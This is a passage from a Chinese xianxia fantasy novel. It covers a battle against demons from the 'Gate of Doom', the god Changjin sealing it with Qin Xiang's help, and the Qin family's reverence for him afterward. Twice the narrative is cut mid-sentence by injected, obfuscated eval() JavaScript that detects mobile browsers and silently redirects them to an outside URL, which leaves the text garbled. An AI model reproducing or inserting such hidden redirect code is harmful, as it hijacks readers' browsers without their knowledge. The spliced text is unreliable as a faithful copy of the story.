三人几乎是同时转头去看,他们身后,那床榻上躺着的人不知何时竟然醒了,他坐在床边,脸色还有些苍白,修长白皙的手按在胸口处支撑着,他的目光没有落在他们任何一个人的身上,而是越过了他们飘向外边的远方,在说完这四个字之后,便直接起身掠地而去。 清风一过,医疗阁内的三人都没有看见他是什么时候消失不见的,又是怎么消失不见的。 待回过神来,医疗阁内哪里还有除他们之外的第四人,但此时情况危机,也不容许他们再多想什么了,连忙召出佩剑,御剑乘风而去。 4. 厄运之门 花溪镇此时已是天地色变,一扇由无数骷髅头垒叠而成的巨门萦绕着黑气悬浮在高空中,巨门半开,魔气四溢,一道冲天的血红煞气从高空衔接至地面,仿若恶魔之冢大开。 厄运之门里面封印了数千年的妖魔此刻就跟杀红了眼的恶兽一般,从那厄运之门中苏醒,于那血红光柱之中,踏着魔气,来到人间。 厄运之门下方,以清虚门为首,腾岳之巅,千机阁,双灵阁,飞羽门,云雾宗。六大门派的人皆已陆陆续续到齐。 天空中,由千机阁弟子施展术法,一张巨大的蓝色防护结界屏障将花溪镇整个笼住,这结界对于妖邪来说,只进不出。 结界内,妖邪死尸暴走,见人杀之,被妖邪杀死的人也会受其魔气影响,然后起尸倒戈。其余五大门派正在与之战斗,血红光柱穿透结界,还在源源不断往结界内输送妖兽。 受其魔气影响的死尸能再次杀死,对于众人来说尚且能应付。但这从光柱之中降落下来的妖邪却个个如同拥有不死之身,刀枪不入,所有的术法攻击打到它们身上,也仅仅只够击退它们数尺,让它们的动作迟缓,但不过须臾,便能挣脱。 血腥四溅,潮水般的妖邪,不断倒下又立起反扑的死尸……高阶修士暂且能勉强自保,寻常修士落入他们手中,那就如同砧板上的鱼,还未发出惨叫哀嚎,便被利爪贯穿胸腔,血溅当场。 滚滚妖邪尸潮中,一个约莫四十岁左右的男子正提着一把黑色重刀战得酣畅,男子身着青黑色衣袍,广袖在风中猎猎飞舞。 他目光一顿,手中的刀一挥而下,斩杀了面前几个穿着同样青黑色劲装已经变成行尸走肉的修士僵尸。血花四溅,他擦了把溅在脸上的血,用扩音术大声喊道:“灵力高的,善攻伐的上前来,灵力弱的,善御守的以及伤员退后,开御守结界躲进去,不要恋战!不要乱跑!” “秦掌门!”一个身着金丝镶边紫色衣裙的女子持剑斩杀了几个满嘴血污嗥叫的僵尸,来到了秦叙的身边,是飞羽门的掌门林听晚,她扭头道,“这妖邪非寻常妖邪,我们伤不了它们分毫,这样下去不行,招架不住的,就算我们暂时能战,但总有力竭的时候。” 林听晚抬首看了眼不远处的血红光柱,妖兽数量还在不停的增多,而半空中那张蓝色结界却变得半明半暗,灵力稀薄,“千机阁的结界已经开始出现裂缝了,灵力耗损巨大,得先找人替补去修补结界,然后再赶紧想办法斩断那光柱才行。” 秦叙哪会不知,答案摆在眼前,解决一切的办法就是切断光柱,再关闭空中那扇恶魔之门,但是,谁又能做到? 光柱底下是妖邪聚集的源泉,根本近不了身。他实在是心有余而力不足……无能为力的挫败感随着黑刀带着满身戾气斩下,激起一阵杀气。 “我先带人去接替千机阁,修补结界。” 若是结界被破,无数妖邪死尸一涌而出,到时候,别说是花溪镇,就是整个修仙界,估计都要开始大乱,届时天下又将是多少尸横遍野……这个后果,秦叙不敢去想。 “伯父,我去吧,这里需要你。” 秦叙正准备带人前去修补结界,忽闻得身后传来的声音,他猛然回头,就见面前站着一个身着雪白锦袍,眉眼修长疏朗的十七八岁青年,他手提一把淡青色长剑,剑尖还半滴着未凝固的鲜血。 “玉洲?!你怎么在这里?我不是让你护送幸存的花溪镇镇民离开吗?” 乔玉洲是双灵阁的少主,双灵阁主药修,门下修士并不擅长实战,又因双灵阁与腾岳之巅素来交好,所以秦叙一开始就拜托了乔玉洲带着门下部分弟子先护送那些手无缚鸡之力的花溪镇镇民离开。 乔玉洲一边击杀扑过来的死尸,一边答道:“花溪镇镇民无碍,安排妥当之后我就先赶回来了,伯父,现在不是说这个的时候,情况紧急,我去修补结界吧。” 林听晚见此情形,忙道:“双灵阁除了主修药宗,在结界阵法上确实也颇有造诣,秦掌门,若由乔公子前去,尚可一试。” 秦叙也不啰嗦了,连对乔玉洲道:“好,那你带人前去,若出现不支,不要硬撑,你就立即点燃引信法咒,届时我立马前去襄助。” “好。”乔玉洲点了点头,点了一部分高阶弟子便御剑而起,朝着花溪镇上空东西南北四个方位的结界之角飞去。 结界里被妖邪杀死的修士死尸愈来愈多,从光柱中涌出的妖邪也愈来愈多,它们混在人群里,随着时间的流逝,每个人都变得越来越吃力,灵力渐弱,开始自顾不暇。 进攻的妖邪也知道擒贼先擒王的道理,见这头林听晚灵力强横,便都群聚而起,朝她扑来。 林听晚本来就正与几只妖兽胶着得厉害,并没有注意到身后群攻的另外几只,眼见那妖兽的利爪就要朝着她后背猛刺过去—— “姐姐!!!” 危急关头,一道强劲的金色闪电夹杂着剑气猛掠而来,将那妖兽直直击退数尺,林听晚回头,见到来人,声音都带上了怒气:“谁带你来的!回去!” 来人正是飞羽门的五小姐,林听晚同父异母的庶妹林秋月,在出门之前她便闹着要跟她前来,林听晚不肯,姐妹俩大吵了一架,最后是林听晚给林秋月下了定身咒这事才算完。 但此时,她却还是出现在了这里,林秋月目光坚毅,提着剑便来到了她身边,“姐姐,我自己来的,定身咒这东西拦不住我,你别赶我走,我不想再站在你身后了,让我站在你身旁吧,我能帮你。” 事已至此,林听晚也不能再多说什么,她挥剑斩断了一具猛扑过来的死尸,将她护在身边,心一横,道:“别离开我身边。” “好。” 说罢,林听晚便不再言语,林秋月也收起了情绪,姐妹俩以背相抵,抵御四方。 而另一头,秦叙的情况着实也没有好到哪里去,他一边对抗着妖兽死尸,一边开着御守结界,将那些无力自保的修士护在其中。 秦叙一刀击退一只妖兽,将地上被妖兽击倒的修士拉起,不过须臾,那妖兽便恢复过来,飞身前来,利爪贯穿了他的肩膀,霎时,鲜血如柱喷涌而出! “掌门!!”见此情形,结界内,腾岳之巅的弟子个个心急火燎,拔剑作势就要往外冲! “别出来,会死的。”秦叙闷哼一声,拧起眉头,猛咳出一口血,将手中的弟子一掌推入御守结界,然后刀光一寒,黑刀闪电一般挥出,反手将那偷袭的妖兽一刀劈开! 利爪贯穿的伤口深可见骨,冷汗浸湿了衣衫,秦叙以刀驻地,眼前发昏,而被他劈开的妖兽也知他此时的弱势,集结着好几只同伙,将他围在中间,目光凶狠,蓄势待发,仿若下一秒就能将他撕碎嚼烂吞入腹中…… 今天大概就要死在这了吧?阿湘,不要怪爹,留下你一人…… 秦叙脑海中不自觉地划过了这一个念头,秦湘的笑脸在他眼前慢慢浮现。在妖兽群扑过来之时,他闭了闭眼,也大叫一声,手中蓄力,刀身灵力暴涨,迎了上去! “掌门!!” “掌门!!” 他知自己如此境地已然不能活,这一击便是集结了他所有的灵力,就算不能让它们死,也决不能让它们好过!! 清风徐过,一时间平静的可怕。 刀刃并没有接触到妖兽坚硬的皮囊,而利爪的寒意与死亡的气息也并没有如想象中的一般向他袭来,秦叙心中有惑,睁开双眼,映入眼帘的,却不再是妖兽可怖的森森指爪,而是大片红光火流,四周的几只妖兽,此刻正被这烈火吞噬其中,发出阵阵惨叫。 在他面前,也有一人,他站在火光里,青丝随风在火流中簌簌飞扬,眸中亦是被火焰映红,他抬起修长均匀的手指,薄唇轻言,“杀。” 声音低沉,没什么太大的起伏,但那火焰却不似主人这般不疾不徐,在这个命令下召之后,便瞬间燃起了数丈之高,而那火焰席卷的妖兽就在这瞬息之间化为了乌有! 而后,火光渐灭。 目睹了这一切的腾岳之巅众人皆是被这强悍至极的灵火惊得哑然。秦叙站在一旁,肩膀的伤口被他封住了血脉,暂时止住了血,他目光悠长,追随着面前的人飘然远去,喃喃道:“这怎么可能呢……” 修仙界怎么会有灵力强悍至此的人…… 秦湘与周楚闵等人也在这时陆续到达,他们一降落于人群之中,浓郁的血腥之气便立刻冲入鼻息之间。看着满目疮痍的花溪镇,如潮水般的妖兽,看着昔日同门如今却成为一具具行尸走肉的僵尸……众人心中皆是骇然。 秦湘往四周巡视了一圈,她看见了不少腾岳之巅的弟子,长老,但是就是没有看见秦叙的身影。她心里瞬间涌起了一股强烈的不安,转头便朝着周楚闵道:“师兄,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647789|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先护着清桐姐姐去救治伤员,我去找爹爹。” “好,那你当心,有事用传音术唤我。” “嗯。” 秦湘穿行在妖兽尸潮当中,她一边斩杀着滚滚袭来的修士僵尸,一边在杂乱无章的人群中寻找着秦叙的身影—— “爹!” “爹爹!你在哪里?” “……阿湘……”兵刃相交与恶兽嘶嗥中,秦湘听见了一个模糊的声音,她朝着声源处望去,她看见秦叙了,在不远处的重围中,负了不少伤,但还是提着那把黑色重刀,抵御着四面来敌。 “爹!”秦湘的瞳孔骤然紧缩,几乎是瞬间掠了过去,烈云剑剑身夹杂着火焰斩出,将秦叙身后那几只扬起利爪的僵尸一斩为二。 看着秦叙肩上的森森白骨,秦湘的眼泪霎时间就涌落了下来,秦叙见她落下泪来,一时也是没反应过来,心一软,手脚无措的帮她擦眼泪:“哎呀,别哭别哭,爹好好的呢,还能大战三百回合。” 秦湘吸了吸鼻子,举起衣袖就在脸上胡乱一通擦,然后拉着秦叙的手,将他护在身后,“我护送你去御守结界,清桐姐姐来了,你让她给你处理一下。” “不行,阿湘,我还不能走。” “爹!”闻言,秦湘倏地回头,双眼猩红,肩膀发抖,她怒道,“阿娘已经离开我了,你也要离开我吗?那是厄运之门!你会死的!” “什么?!”秦叙的脸色瞬间苍白,“原来那竟是……”那竟是……厄运之门!! 良久,两人皆是无言,秦湘是一时还处在怒气与恐惧当中,而秦叙,则是和先前的他们一样,被厄运之门这四个字惊得如遭雷击,久久不能反应过来。 天空中的那道衔接着巨门与地面的血红光柱越来越亮,结界里魔气四溢地也越来越严重。 “看那边!光柱旁边有个人!” 纷乱中,不知是谁大喊了一句,众人一齐抬头,但见一袭素青色锦袍的男子脚踏烈火,衣袂飘飘,立于云端,而在他眼前不过数尺的,便是那众人都不敢靠近的妖兽来源,魔气之柱。 长锦立在半空中,他仰头看了眼高空中已经几近全开的厄运之门,妖兽还在不停往外输送,但是,并没有魔主的气息。 那个时候他感觉到有人用恶念之气打开了厄运之门,妖邪暴动,最后强拼着一身神力将魔主打回了魔气形态,虽然力竭,但渡天剑也暂时代替了他在守护封印,短时间内应是无碍。 可他再次转醒之时,人却已经不在厄运之门内了,他不知道自己掉到了人间的何处,脑子刹时一片空白,恐怖的念头瞬间爬上了他的脊背,厄运之门! 他本以为是他失去了太多力量,剩余的力量太过薄弱了,没有成功压制住魔主成型,从而让魔主成功逃脱,然后打开了厄运之门的封印。 但现在看来,魔主并不在这里,他的封印是成功了的。想来那应该就是那时候他听见的那个声音的主人做的了。 长锦忍不住想,恶念是魔的养分与力量来源,收集足够多的邪念来献祭,确实可以打开厄运之门。 但那幕后之人到底是人是妖还是鬼?他醒来之后就已经身处人间了,魔主被他压制成一缕魔气封印在妖魔镜中,按理来说就算是出了厄运之门也走不远,造不成什么影响。可现在这情况,那镜子是不是也已经被那人捡去?或是魔主主动藏匿于那人身边?双方达成共识? “长锦!” “是长锦!” “快,杀了他!!” 尖锐可怖的嘶吼声传来,是妖兽们发现了他,纷纷调转了攻击的方向,乌压压就要朝他扑过来。长锦从自己的思绪中回过神来,没有去理会这些声音,只要魔主还没成型,这些妖兽都还不算最大的问题。 虽成不了气候,但眼下,还是该先解决。 他皱了皱眉,看着面前扑来的血腥妖兽,长身掠出数丈开外,“渡天。” 渡天长剑应召而出,在长锦手中凝聚成形。剑刃附着火焰,长锦周身气流暴动,他手中的长剑一挥,滚滚火焰夹杂着剑气如同一只巨大的火凤凰,凤唳九霄之上,气息迅速席卷了花溪镇的每一个角落。 渡天神火席卷而过,不仅妖兽被震了开来,也净化了那满地的魔气,一时间,那些受魔气影响已然起尸的死尸都纷纷停下了手中的厮杀,双目无神,站在原处一动不动。 5. 魔主降世 地上的问题算是暂时稳定住了,但最主要的问题,还是在高空中那扇门和那道血煞光柱上。 长锦脸色有些苍白,神力恢复得还不够,拖得越久对他越不利,得速战速决才行。 他御风而行,飘然掠至那血红光柱的中心。渡天剑漂浮在他面前,他双手结印,凤眼一抬:“去。” 长剑如有生命般飞出,在半空中涨大数倍,那血红光柱就在渡天剑的剑气之下,一分为二!长剑剑势形成了一道火墙,以压倒性的绝对力量将那上半部分血煞光柱连同其中的妖兽硬生生地全部逼回了厄运之门内。 留在地面的妖兽见之,心有余悸,但更甚不甘,起先就杀了大量修士,受魔气血腥气影响,实力比起之前更甚,它们汇集在一起,释放出的魔气在空中化作森森利爪,朝着长锦猛然刺去! 长锦抬手结印,指尖跃出金红色光芒,随着一个“开”字从他唇中轻轻吐出,强悍的灵力便源源不断的从他指尖冒出,凝成了一道不断扩大的结界,那森森利爪在触碰到那层结界之时便倏然散去,化为了齑粉。 结界压倒魔气,转而来至地面。随着长锦手指微微一抬,那结界拔地而起,它将地面上的妖兽全部容纳其中,然后缓慢升空,在花溪镇的上方形成了一个巨大的金红色球形火焰结界牢笼。 长锦额头冒出了阵阵虚汗,他双手颤抖着,这个结界要了他几乎全部的法力。结界托着妖兽,已经到了与长锦齐高的位置了,他咬咬牙,正欲发力,一鼓作气之时,一个熟悉的声音往他侧面身下方位传来:“长锦。” 这声音来的突兀,嗓音阴寒,像一条阴冷的毒蛇吐着信子游进了长锦的心里,在他还没反应过来之时就猛地张开了冰冷尖锐的毒牙,狠狠地刺了进去。 这是他自己的声音! 魔主?!巨大的惊骇在心底炸开,然后迅速散延至他的四肢百骸,长锦几乎是瞬间低头循着声源处望去。 而那边,并没有出现那个让他心骇的黑色身影,映入眼帘的是一张陌生的、已经发青的死尸面孔。 那人脸色发青,穿着蓝色弟子服,胸腔开着一个血淋淋的大洞,俨然就是一副死尸的模样,但他的双眸却不似死尸一般无神,瞳色发亮,含着阴寒的笑意,就像是被什么东西操控附身了一般。 他见长锦望过来,竟然咧开嘴角朝他露出一个鬼气森森的微笑来,鲜血不住地从他嘴角流出滴落,但他就是全然不在意,收起嘴角,而后猛地踩地借力一跃而起,朝着长锦掠去! 长锦口中念决,在那修士死尸掠至他身前不过数尺之时,眸中一发狠,渡天神火徒然而起,将那死尸包裹其中,烈焰炽烧人体皮肉的焦臭味传来,长锦几不可闻地皱了皱眉头。 再观那被火炙烤着的修士,皮肉都已变形不辨颜色,但他脸上不仅毫无痛苦之色,反而是一直在笑着,带着那种诡谲多变的笑意,又似高兴,又似疯狂。 “长锦,你中计了。” 死尸面容舒展,在说完这句话之后双目便恢复了空洞,了无生气。随着尸体成灰消散,一股极寒的黑色邪气也由那烈火中飞出,直直地打进了长锦心里。 长锦眼前一黑,双手发虚,却还在极力地控制着圈住妖兽的结界不至于坍塌崩溃,待他再次睁眼时,妖兽的结界还在,自己也暂时没受什么实质性的伤害,只不过,面前的景色却徒然生变! 无论是尸山血海的花溪镇,还是花溪镇内芸芸几千上万人,在此刻,仿若从来都没有来过一般。天地在长锦面前,就只剩下眼前一片虚无的黑暗。 茫茫无边际的黑暗里,只有额角的冷汗和双手间不断流出的汩汩灵力在提醒长锦,这一切都是幻境,他必须尽快出去。 黑暗里传来了一阵冷笑,长锦顿了顿神,抬眸望去,只见面前不知什么时候出现了一个人,一个和他长得一模一样的人。 他披着玄色披风,站在黑暗里,歪着头,瞧着长锦,眼底里满是嘲讽。 “长锦神君,灵力快要空虚了吧?不如放手吧?为了一群蝼蚁,何至于将自己弄得如此狼狈?” 长锦咬牙不答,面上早已毫无血色,他双手再猛然一送,一股更强烈的金红色光芒从他手中渡了出去。 那人步伐轻快,在长锦面前踱着步子,来到他面前,看着那金红色的光华愈发明亮,也不阻止,半晌,啧了一声,“神君当真是在厄运之门中沉睡太久,记忆不大好了,你当真忘了?河清海晏之时,人们将你遗忘,世间蒙难之时,人们又将你供起,当发现你救不了他们时,便将你拉下神坛,若是杀了你才能救他们,他们也会毫不犹豫将刀尖刺向你心底,这些,你都不记得了吗?” “……” 见他沉默不答,那人脸上的笑更加肆意,他后退几步,修长的手指在空中打了个响指,“罢了,还是得让你再体会一回才行,这样你才会明白,人啊,性本恶,甚至比恶鬼还恶!这样,你才会明白,你做的一切都是徒劳……” 随着男子话音一落,周遭的环境在一阵天旋地转中又变化了开来。长锦眼前一道刺眼的白光闪过,待回过神来,他已经被绑在了高台之上,而高台之下的广场上,密密麻麻地挤满了一群全身发抖的人。 而那人身披华贵锦袍,坐于高位。他支着下巴,手里百般无聊地把玩着一颗圆润的珠子,看着底下抖如糠筛的众人,他打了个哈欠,嘴角幽幽弯起,“今日就不杀人了,不如我们来玩个有趣的吧?” 他说完这句话,一把精致漂亮的匕首就丢在了众人面前,“他不是你们的神吗?不如今天就让他来代替你们,谁捅他一刀,今天谁就能活,怎么样?” 长锦一身污泥,被缚在高台上,目光越过底下的人头暗涌,落在了高位之上的人脸上。那张与他一模一样的脸却不似温和,他也看见了他的目光,笑得很亲昵,但又饱含恶意,恶魔般的声音像是要传入他心底,“长锦神君,不如我们来赌一赌,这一回,你的苍生会不会放过你?” 长锦闭了闭眼,心里早就知道了答案,但是当那匕首整个没入他的胸腔之时,他还是会不由自主地颤抖,痉挛。原来,就算不会死,就算已经经历过几百上千回,也还是会疼的啊。 还是会希冀,会不会,有一个,就一个,不同的人…… 入眼皆是血色,长锦无力地垂下头。他好累,突然之间就不知道自己这么坚持到底是为了什么?但每当他真的想放手不管的时候,心底里却总有一个声音在叫嚣,在警醒他,不可以! 但是,为什么不可以呢?他不知道…… “长锦神君!!” 意识昏沉之间,似乎有人在叫他。他掀起颤抖无力的眼帘,但眼前的画面仍是那一张张要将匕首捅进他心窝的狰狞面孔。 他应当是听错了吧?不然怎么会觉得有个声音在喊他?而且声音里竟还会有一丝的焦急与担忧? “长锦神君!!” 这次的声音是真真切切地传进了他耳朵里,声音伴随着一道剑气袭来,将长锦面前的匕首倏地一下斩断,剑影从他的眼前晃过,长锦猛然惊醒,蓦地咳出一口黑血来。 他睁开双眼,幻境已经破灭,面前的景象又回归到了花溪镇。他面前,依旧是那金红色的结界,他身旁,多了一抹熟悉的绿色身影,他脚下,那些本该就此休眠下去的死尸却又重新暴动起来,它们全部聚集在了一起,发疯似的朝着他奔涌而来。 而面前的少女,脚踏御风符,翠绿纱裙在风中猎猎飞舞。眼神凌厉,神情焦灼,一张娇俏绚丽的面容染血,手中的剑更是毫不犹豫地在一个朝他扑过来的死尸胸前开了个透心凉的血窟窿。 长锦愣愣地,眸中有一瞬的失神,他喃喃道:“你……” 秦湘立在半空中,护在长锦身前,她一剑又击落了一个扑过来的死尸,朝着地面的周楚闵大喊道:“师兄!” 周楚闵带着腾岳之巅的弟子在地上战局胶着着,没了那刀枪不入的妖兽,对付这些死尸对他们而言就轻松了不止一星半点了。 他召出一把长弓,一发三箭,三箭皆中靶心,将飞扑上去的僵尸击落,然后仰头朝秦湘露出一个肆意轻狂的笑,“在呢,下面交给我们,阿湘你护着长锦神君就行。” 秦湘点点头,也回他一笑道:“好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647790|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢师兄。” 这边和周楚闵打完招呼通完气,秦湘握着剑回身朝着长锦望去,但见长锦眸间已恢复清明,此刻也正朝着她看,两人目光一接触,秦湘便欣喜道:“长锦神君,你清醒了?” 长锦微微一怔神,他此时心中情绪复杂,也有很多答案想知道,比如为什么她会来帮自己,又比如,他们为什么会知道他的名字?他的身份? 但话一到嘴边,他什么也说不出来,他已经很久很久没有和人打过交道了。他的目光从少女脸上扫过,半晌,才只能生硬地应了一声,“嗯。” 秦湘并没有听出这声音中的生硬,她看了眼与她近在咫尺的球形结界,里面的妖兽经这一出越发的狂躁,不甘。她收回视线,对长锦道:“神君,厄运之门封印难补,我们来为你护法。” 不可置否,情况确实危急,经人这么一算计,长锦此时恢复的那点神力也已经快要消耗殆尽了。他朝秦湘点点头,道:“多谢。” “不客气,应该的。”秦湘朝他绽放了一个温柔浅笑,然后回过头去,立在他身后,以背相抵。 一柄长剑,为他平定了所有的后患之忧。 长锦看着她的背影,小小的,但在这一刻,却又如此坚定。他愣愣地盯了一会儿,缓慢地眨了眨眼睛,然后才回过神来,收回目光。 面前的结界忽明忽暗,里面的妖兽也受底下死尸的邪气影响,愈发的焦躁。 长锦重新凝神,金红色的光华继续从他指尖输出,停滞在半空中的结界又开始了缓慢升空,向着那高空中的厄运之门飞去。 神力一寸一寸地输出,源源不断,长锦额间冷汗涔涔,胸腔处更像是压着千斤巨石。 头脑发昏,眼前一阵一阵发黑,腥甜的血液不断地往喉间翻涌。他知道,他就快要到极限了,神力透析,与凡人无异。 那结界已经到达了厄运之门的高度了,只差最后一点,就能关合。长锦抬起头,咳出一口血沫,声音轻地几无可闻,“还差一点点,就一点点。” 他咬着牙,眼中猩红一片,随着脖颈间青筋暴起的,还有自他指端汩汩而出的那瞬间爆发的全部神力。 地面上,众修士一齐拔剑应战。 高空中,长锦亦不是孤身一人。 心脏如火烧般疼痛,随着指尖的最后一丝神力涌出,厄运之门沉重的大门,终是在那须臾之间,轰然关合! 那黑色巨门关上之后于万里重云中渐渐隐去,地面死尸也就此失去了魔气的操控,伏地倒下。黑暗渐渐褪去,光明即将破晓。 阳光刺破厚重的云层,抚慰着鏖战过后满目苍夷的花溪镇。长锦眯了眯眼睛,手指在眼前晃了晃。 直到现在,他才敢将心中那根紧绷的弦放下,身体渐渐失力,眼前也越来越模糊,他笑了笑,于高空中坠下…… “终于……关上了……” 再次掀开眼帘的时候,面前的景象已经不再是尸山血海的花溪镇了。 长锦支撑着身体坐起,抬起冰凉的指尖,揉了揉眼眶,待到眼前的模糊水雾全部消失,视线恢复清明,他才发现,他此时正躺在一个陌生的屋子里,坐在一张黄花梨木雕花架塌床上。 房间是个精巧小室,明窗净几,阳光从半敞着的竹制镂空窗扉间散落,窗外一树桃花正开得艳丽,微风徐徐吹过,吹起了烟罗薄纱帷帐,也带来了满室清香。 长锦坐在床上,环顾着四周的一切,他虚虚地握了一把身上盖着的锦缎薄绸,又呆呆地望向窗外,阳光,微风,桃花,莺歌蝶舞……好不真实…… “吱呀---” 忽然间地一声"吱呀"传来,门扉被人轻轻推开,长锦的思绪被唤回,他抬眼顺着门口望去,少女一袭粉嫩衣裙,白净净的脸上不曾染血,她端着一只瓷碗,碗中药香袅袅,此刻也正立在门口,与他视线交错。 “长锦神君?”少女见他醒来,一双杏眸瞬间染上了星亮,脸上也带着笑意,朝他脆生生道,“长锦神君,你醒啦!” 长锦还未曾回答,那少女又退而往返,朝着门扉外喊道:“爹,长锦神君醒啦!” 6. 神明入世 外头阳光正盛,屋内窗影绰绰。 秦湘双手捧着药盏,细细地感受着瓷碗传递到手心的温度,不烫不凉,已是适宜。她将手中的碗端过去,递给床上坐着的长锦:“长锦神君,给,鸿瑛长老说你灵力透析,受损严重,这药是用来调理内力的,你趁热喝了吧。” 鸿瑛长老这两个月的行程本来是去双灵阁进修药理,但这厄运之门封印一开,各个门派死伤无数,谁还能静下心来再去修习,故而这进修肯定是修不成的了,于是连夜收拾东西回了腾岳之巅。 腾岳之巅与双灵阁交好这是众所周知的事情,两个门派的掌门年轻时在群英论剑大会上一见如故,相谈甚欢。 后来两个门派之间也多有交流,双灵阁偶尔会派遣长老和弟子过来腾岳之巅学习剑法符咒之术,而腾岳之巅也是如此,常常会交换派遣长老弟子去双灵阁学习药理结界之术。 伤员病号一堆,秦湘带着长锦回腾岳之巅之时,沈清桐正带着门下其他药修弟子忙地焦头烂额,根本无暇抽身。恰巧这时鸿瑛长老回来了,刚下御剑,脚都没站稳,大气都没喘一口,就被秦湘拉着来为长锦诊治。 诊治结果与沈清桐当初的诊断并无两样,探到长锦并无灵根的时候饶是行医三十载的鸿瑛长老也吓了一大跳,还是秦湘和秦叙父女俩在一旁见怪不怪地一番解释,她这才哆嗦着手接着号脉。 “多谢。”长锦接过秦湘递过来的药,看着那乌泱泱的药汁,他皱了皱眉,然后仰头一饮而尽。 喝完药后他靠坐在床头,调动了个决探了探自己的内里,封印了厄运之门之后他的灵力确实透析了,如今,虽然不能说已经完全恢复至强悍,但灵力却在不停地攒涌,也不至于异同凡人。 这个认知结果让他很意外,七百年前,他曾与魔主一战,封印了厄运之门,那次他的灵力也几近全失,后来在厄运之门内用了百年光阴闭关才算完全恢复。 要说像如今这么快的恢复速度,这要在之前,是完全不可能的。不知为何,在这个地方,他感受到了一股他许久都不曾感受过的灵力,这灵力与他并不相斥,相反还融合的极好,这是来自于苍生的供奉之力。 神邸力量有三,一部分来源于天道天生,一部分来源于自己的信仰,最后一部分是来源于苍生的供奉之力。而长锦这七百年间仅有的就是那部分天道天生的神力,信仰之力,他在七百年前的高台之上已经失去,供奉之力,他更是几千年来都不曾再感受过。 所以,为何这里会有供奉自己的苍生? 长锦心中有惑,看着面前在案几旁忙活着收拾药碗托盘的秦湘,他几欲开口相问。 “吱呀”,门扉又被人推开,进来一个青黑色衣袍的中年男人,秦湘刚好也收拾完药碗,抬眼看见来人,起身唤道:“爹,你来了。” 秦叙朝她点点头,走了进来,看见长锦,也不犹豫,弯腰鞠躬就朝他行了个庄严大礼,严肃道:“腾岳之巅第三十代宗亲嫡传,秦叙拜上长锦神君。” 看着面前的人,长锦愣了愣神,半晌,才淡淡道:“你为何拜我,我不曾认识你。” 秦叙顿了顿,语气里都是虔诚庄重:“七百年前人间妖魔肆虐,腾岳之巅太掌门秦道尘曾遇妖魔袭击,得蒙长锦神君所救,与之结缘。后长锦神君封印妖魔于厄运之门,造福世间。太掌门创派腾岳之巅之时,便留下宗卷所记,由那时开始直至后世代代需得谨记长锦神君之恩泽。” 长锦若有所思,疑惑在这时得到了解答,原来是他七百年前的因果缘由。一个疑惑解开,但是另一个疑惑又浮上了脑海,七百年前,他有曾与人打过交道结过缘吗? 他在脑海里暗自回想了一番,确实想不起来,不过面前的人句句诚恳,这供奉之力又是实实在在的涌进了他的身体里,他索性也不多想了。 也许前期在他还没失去信仰之力之前,大概可能是有过的吧,只不过不知从何时开始他的记性一向不好,兴许是忘了也不好说。比起纠结这个,目前还是眼下的另外几件事来的更为重要一些。 长锦坐在床榻上,秦湘与秦叙也在屋内寻了个凳子坐下。 这几天发生的事情就犹如兀鹫般盘旋在秦叙心里,厄运之门到底是什么?为什么会打开?神明不会无端入世,如果长锦入世了,那就代表着,那些妖兽,并非妖,而是魔,妖魔现世,七百年前太掌门经历过的人间浩劫难道要再重现一次? 他将目光望向长锦,希望得到他的解答。 长锦看着他,语气淡淡,一字一句道:“厄运之门封印的,是魔,而且魔主已经出逃。” 一听这话,秦叙与秦湘可就不似他那么平静淡然,瞬间就坐不住了,皆是一愣,然后大惊失色:“什么?!” 世间混沌分三界:天界、人界、地界。常言道三界六道:神、仙、人、妖、鬼、魔。但其实三界内常见的只有仙人妖鬼。 要说神与魔,其实是并不常见的,魔无实相,相由心生。神也无实相,由天道掌管,当天地秩序遭到破坏,为保持六道平衡,神明就会从三界中顺应天道而生。 神魔相对立,有魔就有神,无魔便无神。 厄运之门,究其来历,乃是万年前的天神少微所辟。相传,万年前妖魔肆虐,倾巢而出,人间伏尸百万,用现在的话来讲,少微彼时乃是天下第一的大天师,早已修成人间正果,理当飞升天界成仙,若直系飞升,自是脱离苦海,这人间的苦难因果就与他无关了。 然而当天界大门朝他敞开之时,他却放不下手中的三尺长剑,说有道者,为苍生,百万苍生尚且身处水深火热,他又何以放弃道心,充耳不闻,直系升天。于是执剑转身离去。 放弃飞升成仙之后的少微重返人间,与妖魔对抗,后为守护天下苍生而战死,其心壮举,得天道之点化,死后直接羽化成神。成神之后的少微以一己之力战妖魔,后又以自身神躯为容器开辟厄运之门,封印万千妖魔于其中,神明陨落,也为三界带来了长达千年之久的安宁。 白驹过隙,日月如梭。随着时间的推移,厄运之门少微上神所留神力也日渐稀薄,直到三千年前,其中妖魔邪气更胜,邪气化魔,魔气化实,成了魔主。魔主力量本就源于世间一切邪念与恶念,吸收了厄运之门内妖魔怨气的魔主实力一时如日中天,群魔在他的带领下,破开了厄运之门的封印,再次危害人间。 而长锦就是那时候飞升成神的,为人时期他并不如少微那般是人间豪杰,要说他和少微相似的,那就是死前飞升那一刻的为苍生之心。 魔主率领群魔重临人间,来势汹汹,甚至比万年前实力更甚,修仙的招架不住,更别说不修仙的,天下苍生在魔主眼中,就如同被圈养起来的玩物,今日心血来潮屠这个城,明日心血来潮再屠那个城,万千性命在他手中尽如蝼蚁。 